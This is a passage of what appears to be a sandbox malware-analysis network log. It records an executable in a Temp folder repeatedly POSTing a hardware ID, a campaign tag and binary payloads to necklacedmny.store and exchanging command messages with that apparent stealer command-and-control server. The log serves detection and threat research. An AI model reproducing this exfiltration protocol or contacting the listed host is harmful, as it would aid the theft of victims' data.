2024-11-01 04:53:30 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:53:31 UTC	1019	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5bi0i6kh26eqftlf9890f39kh6; expires=Mon, 24-Feb-2025 22:40:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ffLmwdKYh6PgN4w7IxfXzBK9LveVSXTblkENSQ5kBw66YOsY%2Faw3iBEpnOTjH6Wkh7RIrC64ysoRw65Kmv705wCQ6YqDAzTNTTM5HFyt%2FW3m%2BjF4bm6iVmc6xvJF%2BB7JtW1oOyQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db948136a674743-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1086&sent=14&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16024&delivery_rate=2503025&cwnd=107&unsent_bytes=0&cid=76f3fdd28d348833&ts=661&x=0"
2024-11-01 04:53:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:53:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50020	188.114.96.3	443	4228	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:33 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-11-01 04:53:33 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:53:33 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-11-01 04:53:34 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=oijj5jvqdjogmdandssqqi03un; expires=Mon, 24-Feb-2025 22:40:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=inQkrA7IROSOAhGzvz59SIB9z%2Bbr5LriwzceT8bdz%2BgZuuuShdTD%2BK7bBesO9qJ6chkwnxECAN6uBPWLkwmBforETndonHppOBtwiwmm27umPvcocpkwzyaa3YIE2RYe0iajYlk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db948255b4f46e3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1032&sent=19&recv=27&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=2711610&cwnd=251&unsent_bytes=0&cid=0cf1cad0d9a6dd9c&ts=584&x=0"
2024-11-01 04:53:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:53:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50031	188.114.96.3	443	4228	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:37 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1286 Host: necklacedmny.store
2024-11-01 04:53:37 UTC	1286	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:53:38 UTC	1014	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k5mns8eqa2t0abpe3s3r43jdif; expires=Mon, 24-Feb-2025 22:40:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uQaFYJXFH2A3yuUunShIAVVR46FbiR6FxhL%2BHeGoyUXY2tUkLVnimHXXVyNA%2FI5mMFPMTkmBIM6b4TNbCP6TwjupKra5M0ysNEx9Zanb9o%2BsqXtYTtU0Iiels1X2DqFIjvkcQ5g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db9483d5cb43594-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1177&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2205&delivery_rate=2296590&cwnd=251&unsent_bytes=0&cid=d052b9207143ea31&ts=644&x=0"
2024-11-01 04:53:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:53:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50041	188.114.96.3	443	4228	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:40 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1421 Host: necklacedmny.store
2024-11-01 04:53:40 UTC	1421	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"FC6B15971607FBA128DEB478D21E6E6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-01 04:53:40 UTC	1020	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ivgog1u88lccubane19tt5odod; expires=Mon, 24-Feb-2025 22:40:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s%2BMgT%2BtCwUqx%2FNuqDCc6ZFwmyYwFPzVJQyPazomERhjcr%2FxEeUduIey56cY5gN8ybuvvy1dQLRZ1YJ3%2FKD%2FnEEHwgSvaChAIr2zakDrGLrkfj31pkPzbKVUeTQrwF5xp2aYcEis%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db9484dca568d27-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1378&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2340&delivery_rate=2192278&cwnd=250&unsent_bytes=0&cid=04e533aab6c90de5&ts=717&x=0"
2024-11-01 04:53:40 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 0d 0a Data Ascii: 11ok 173.254.250.82
2024-11-01 04:53:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50042	188.114.96.3	443	4228	C:\Users\user\AppData\Local\Temp\1003093001\21024c5511.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:41 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-11-01 04:53:41 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 46 43 36 42 31 35 39 37 31 36 30 37 46 42 41 31 32 38 44 45 42 34 37 38 44 32 31 45 36 45 36 42 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=FC6B15971607FBA128DEB478D21E6E6B
2024-11-01 04:53:41 UTC	1016	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gnfdj5qlqs43kc2r0jo015k2tj; expires=Mon, 24-Feb-2025 22:40:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=auDqLLwQSxw6pc6%2FektvmUCwtrxSsvNnuHGzvcGdCSZYAlH1wP0lMpDz3%2B7NoN4Lt67GCAadUS9TT47%2F54DPZy7HG6Q5JnMBxah%2Fg71ALQudnTGo%2BhH4hfFKTWquWRRKn3RebXU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db94857be193588-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=982&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2853201&cwnd=251&unsent_bytes=0&cid=4b2590df666d53e1&ts=330&x=0"
2024-11-01 04:53:41 UTC	214	IN	Data Raw: 64 30 0d 0a 6d 79 75 79 30 71 6c 2f 73 4f 4a 4d 55 64 57 46 43 4e 36 43 6b 33 35 6e 64 6c 71 76 53 6f 64 42 7a 6a 50 52 43 4c 42 71 75 4f 54 41 55 4a 43 6e 69 30 57 53 69 6a 67 6c 70 62 39 55 38 64 36 38 54 31 39 44 64 4a 31 37 73 6d 2f 2f 41 75 49 6d 67 56 7a 6b 79 2f 52 4e 31 49 36 47 47 39 57 45 59 6a 53 74 34 43 72 79 6f 50 55 4b 52 55 78 71 67 32 6a 69 59 2f 51 44 72 43 54 4c 53 4d 33 47 6f 51 6e 61 70 74 30 50 69 72 35 6a 44 66 71 30 4d 4f 75 73 6f 55 39 53 57 47 75 65 65 61 6c 77 2b 47 2f 2b 5a 64 6b 45 33 62 69 30 57 64 4f 38 7a 52 44 64 7a 43 6b 70 73 4b 63 6b 2f 4f 54 6e 58 46 31 47 64 6f 30 76 70 58 76 2b 54 6f 77 3d 0d 0a Data Ascii: d0myuy0ql/sOJMUdWFCN6Ck35ndlqvSodBzjPRCLBquOTAUJCni0WSijglpb9U8d68T19DdJ17sm//AuImgVzky/RN1I6GG9WEYjSt4CryoPUKRUxqg2jiY/QDrCTLSM3GoQnapt0Pir5jDfq0MOusoU9SWGueealw+G/+ZdkE3bi0WdO8zRDdzCkpsKck/OTnXF1Gdo0vpXv+Tow=
2024-11-01 04:53:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	50077	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:53:58 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 04:53:58 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 04:53:59 UTC	1012	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:53:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eadhtqq32smulpdnkgk7k2hi30; expires=Mon, 24-Feb-2025 22:40:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YfjXeoKubkYPVlqidisjxkWJJhVnsb24vtjwBpWcpSWCJE8g5XggSPnMV1Xf5K1KcvgiVrJBa7rIgyig6BfJfKS2Zz19SYay%2BbHlvwukexjrhZqhAF%2FY9uPLYcsXPCJKZHkPJg8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db948c16de4e86f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1363&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2025174&cwnd=251&unsent_bytes=0&cid=dd46b7931f535d5e&ts=1072&x=0"
2024-11-01 04:53:59 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 04:53:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	50083	188.114.96.3	443

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:54:00 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 04:54:00 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 04:54:00 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:54:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lt8c3ng0uaq85soh12b9tcdn58; expires=Mon, 24-Feb-2025 22:40:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q1GRGF2fR383WdIG5XBj34X5yqN5MCQZwVxiIcbZb2tppiX6EsBMMxC3neBhQAEtT%2FHcQUwIB3s3wB1LCID9p6cs9I%2F1K0bWlRyt36dG5mBlWpHE3A0R%2BvZwfpXNNag33HSior4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db948cc1c562e73-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2098&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1309222&cwnd=242&unsent_bytes=0&cid=c2847457fba3cdf7&ts=490&x=0"
2024-11-01 04:54:00 UTC	356	IN	Data Raw: 34 65 30 0d 0a 44 47 42 67 6e 38 51 4b 63 66 58 5a 44 4c 6e 31 49 41 6e 77 73 78 77 66 54 48 75 33 62 56 44 68 72 77 66 64 2f 4f 30 41 72 6b 68 33 51 68 61 39 2f 6a 35 64 31 36 70 70 6d 38 39 55 65 34 58 57 4d 44 30 74 48 35 56 58 4e 6f 44 44 64 4c 6a 51 7a 33 62 44 61 6a 59 47 41 66 4f 33 62 31 33 58 76 48 53 62 7a 33 74 79 30 74 5a 79 50 58 5a 5a 30 67 63 79 67 4d 4e 6c 76 4a 65 43 63 4d 49 72 5a 41 77 48 39 36 46 70 46 5a 53 31 59 64 79 51 52 57 69 61 33 58 56 79 4a 42 61 56 51 58 4b 45 31 53 58 6e 33 71 42 6c 32 69 6c 42 41 52 50 30 35 6e 64 64 6a 76 74 70 31 39 63 61 4b 35 48 57 66 6e 4d 71 48 39 77 46 4f 49 6e 4c 5a 4c 6d 57 6e 57 6e 49 49 47 51 43 42 50 61 72 59 41 47 5a 76 32 62 58 6c 6b 39 6f 30 70 38 2b 65 6a 5a 5a 6a 55 39 68 73 63 35 30 72 6f Data Ascii: 4e0DGBgn8QKcfXZDLn1IAnwsxwfTHu3bVDhrwfd/O0Arkh3Qha9/j5d16ppm89Ue4XWMD0tH5VXNoDDdLjQz3bDajYGAfO3b13XvHSbz3ty0tZyPXZZ0gcygMNlvJeCcMIrZAwH96FpFZS1YdyQRWia3XVyJBaVQXKE1SXn3qBl2ilBARP05nddjvtp19caK5HWfnMqH9wFOInLZLmWnWnIIGQCBParYAGZv2bXlk9o0p8+ejZZjU9hsc50ro
2024-11-01 04:54:00 UTC	899	IN	Data Raw: 46 73 32 58 51 6b 6c 42 67 6d 39 78 7a 66 53 4d 54 32 67 77 79 68 4d 64 76 73 4a 53 4c 62 38 45 73 62 67 4a 43 73 2b 5a 76 43 39 66 6a 4c 76 69 53 55 6d 79 65 78 7a 78 48 62 67 61 62 46 6e 4b 45 77 53 58 6e 33 6f 64 6e 7a 79 6c 6c 44 51 48 31 72 58 6f 54 68 62 31 6a 33 6f 56 45 62 70 7a 62 66 57 38 6b 46 39 4d 4d 4f 34 6a 45 59 4c 69 61 7a 79 79 4d 4c 58 5a 43 57 72 32 48 5a 52 69 62 73 58 6e 62 31 31 30 6c 69 35 46 35 63 57 35 42 6c 51 73 7a 68 38 78 68 73 5a 43 4c 62 73 6f 6b 59 77 30 45 39 36 5a 76 47 5a 2b 7a 62 39 61 63 54 57 75 58 33 48 70 37 49 68 6a 51 54 33 7a 44 79 6e 33 2f 78 73 39 4d 79 79 6c 38 51 44 66 2b 71 47 59 55 67 66 74 78 6c 59 34 43 62 4a 36 52 4a 6a 30 67 48 4e 6f 64 4d 35 48 49 61 36 32 53 69 6d 54 42 4b 57 41 43 42 2f 71 72 5a 68 Data Ascii: Fs2XQklBgm9xzfSMT2gwyhMdvsJSLb8EsbgJCs+ZvC9fjLviSUmyexzxHbgabFnKEwSXn3odnzyllDQH1rXoThb1j3oVEbpzbfW8kF9MMO4jEYLiazyyMLXZCWr2HZRibsXnb110li5F5cW5BlQszh8xhsZCLbsokYw0E96ZvGZ+zb9acTWuX3Hp7IhjQT3zDyn3/xs9Myyl8QDf+qGYUgftxlY4CbJ6RJj0gHNodM5HIa62SimTBKWACB/qrZh
2024-11-01 04:54:00 UTC	1369	IN	Data Raw: 33 66 38 63 0d 0a 73 6d 66 4a 6e 55 35 6c 67 4e 78 30 65 43 41 56 30 41 41 79 67 73 78 72 74 5a 58 50 4c 49 77 74 64 6b 4a 61 76 59 6c 6c 41 34 57 78 5a 63 72 56 64 32 69 63 33 33 6c 72 62 67 61 62 46 6e 4b 45 77 53 58 6e 33 6f 52 6b 77 43 5a 75 42 42 44 7a 71 58 6f 5a 68 62 39 67 33 35 74 4d 59 70 2f 65 65 32 38 71 47 63 63 4f 4e 34 54 44 61 4b 32 62 7a 79 79 4d 4c 58 5a 43 57 72 32 63 58 42 53 48 71 6d 6d 5a 6f 6b 46 6c 6e 4e 5a 6f 50 54 46 58 7a 45 38 31 6a 34 30 39 2f 35 32 44 62 38 55 76 59 52 41 49 38 61 64 36 46 4a 36 79 5a 4e 71 5a 54 57 43 65 31 47 78 32 49 52 48 61 44 6a 2b 4f 78 6d 47 2f 33 73 45 69 79 7a 49 75 57 6b 4c 63 71 32 63 42 6c 4b 6f 73 37 70 52 4d 5a 5a 58 48 50 6d 4a 67 41 4a 55 49 50 73 4f 56 4a 62 36 53 67 32 50 44 4c 47 51 4b 41 Data Ascii: 3f8csmfJnU5lgNx0eCAV0AAygsxrtZXPLIwtdkJavYllA4WxZcrVd2ic33lrbgabFnKEwSXn3oRkwCZuBBDzqXoZhb9g35tMYp/ee28qGccON4TDaK2bzyyMLXZCWr2cXBSHqmmZokFlnNZoPTFXzE81j409/52Db8UvYRAI8ad6FJ6yZNqZTWCe1Gx2IRHaDj+OxmG/3sEiyzIuWkLcq2cBlKos7pRMZZXHPmJgAJUIPsOVJb6Sg2PDLGQKA
